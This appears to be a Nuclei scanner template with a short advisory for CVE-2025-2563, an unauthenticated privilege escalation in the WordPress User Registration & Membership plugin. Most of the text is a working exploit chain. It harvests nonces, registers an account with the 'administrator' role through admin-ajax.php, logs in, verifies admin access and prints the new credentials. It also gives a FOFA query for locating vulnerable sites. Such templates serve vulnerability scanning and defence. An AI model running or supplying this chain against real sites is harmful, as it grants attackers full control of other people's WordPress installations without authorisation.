The User Registration & Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.
PoC代码[已公开]
id: CVE-2025-2563
info:
name: User Registration & Membership <= 4.1.1 - Unauthenticated Privilege Escalation
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The User Registration & Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.
remediation: |
Update to User Registration & Membership plugin version 4.1.2 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
- https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2025-2563
classification:
epss-score: 0.74601
epss-percentile: 0.98817
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-269
cve-id: CVE-2025-2563
metadata:
verified: true
max-request: 6
fofa-query: body="/wp-content/plugins/user-registration"
tags: cve,cve2025,wp,wordpress,wp-plugin,user-registration,privilege-escalation
variables:
username: "{{randbase(8)}}"
email: "{{username}}@oast.fun"
password: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
GET /membership-registration/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: nonce
group: 1
regex:
- '"user_registration_form_data_save":"(.*?)"'
internal: true
- type: regex
part: body
name: formid
group: 1
regex:
- "id='user-registration-form-([0-9]+)'>"
internal: true
- type: regex
part: body
name: memberfieldval
group: 1
regex:
- 'id="ur-membership-select-membership-([0-9]+)+'
internal: true
- type: regex
part: body
name: memberfieldname
group: 1
regex:
- 'data-field-id="membership_field_([0-9]+)"'
internal: true
- type: regex
part: body
name: frontend_nonce
group: 1
regex:
- 'name="ur_frontend_form_nonce" value="(.*?)"'
internal: true
- type: regex
part: body
name: localized_frontend_nonce
group: 1
regex:
- 'ur_membership_frontend_localized_data = {"_nonce":"(.*?)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=user_registration_user_form_submit&security={{nonce}}&form_data=%5B%7B%22field_name%22%3A%22user_login%22%2C%22value%22%3A%22{{username}}%22%2C%22field_type%22%3A%22text%22%2C%22label%22%3A%22Username%22%7D%2C%7B%22field_name%22%3A%22user_email%22%2C%22value%22%3A%22{{email}}%22%2C%22field_type%22%3A%22email%22%2C%22label%22%3A%22User+Email%22%7D%2C%7B%22field_name%22%3A%22user_pass%22%2C%22value%22%3A%22{{password}}%22%2C%22field_type%22%3A%22password%22%2C%22label%22%3A%22User+Password%22%7D%2C%7B%22field_name%22%3A%22user_confirm_password%22%2C%22value%22%3A%22{{password}}%22%2C%22field_type%22%3A%22password%22%2C%22label%22%3A%22Confirm+Password%22%7D%2C%7B%22value%22%3A%22{{memberfieldval}}%22%2C%22field_type%22%3A%22radio%22%2C%22label%22%3A%22membership%22%2C%22field_name%22%3A%22membership_field_{{memberfieldname}}%22%7D%5D&form_id={{formid}}®istration_language=en-US&ur_frontend_form_nonce={{frontend_nonce}}&is_membership_active={{memberfieldval}}&membership_type={{memberfieldval}}
matchers:
- type: word
part: body
words:
- 'success_message_positon'
- '{{username}}'
- '"success":true'
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=user_registration_membership_register_member&security={{localized_frontend_nonce}}&members_data={"membership":"1","payment_method":"free","start_date":"2025-3-29","username":"{{username}}","role":"administrator"}
matchers:
- type: word
part: body
words:
- 'New member has been successfully created.'
- 'member_id'
- '"success":true'
condition: and
internal: true
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: login_nonce
group: 1
regex:
- 'user-registration-login-nonce" value="(.*?)"'
internal: true
- raw:
- |
POST /login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&login=Login&user-registration-login-nonce={{login_nonce}}
- |
GET /wp-admin/users.php?role=administrator HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'Howdy,'
- '>Select {{username}}<'
condition: and
extractors:
- type: dsl
dsl:
- '"Username: " + username + " Password: " + password'
# digest: 4a0a00473045022100c2302704818b1ff43e9a33affc0b7661d2f1449fca6ebe48d73981d71bd506f702207eee0c08ff1407c647b38812570c5ec7e64fc6f363367db1b859134ceee979fd:922c64590222798bb761d5b6d8e72950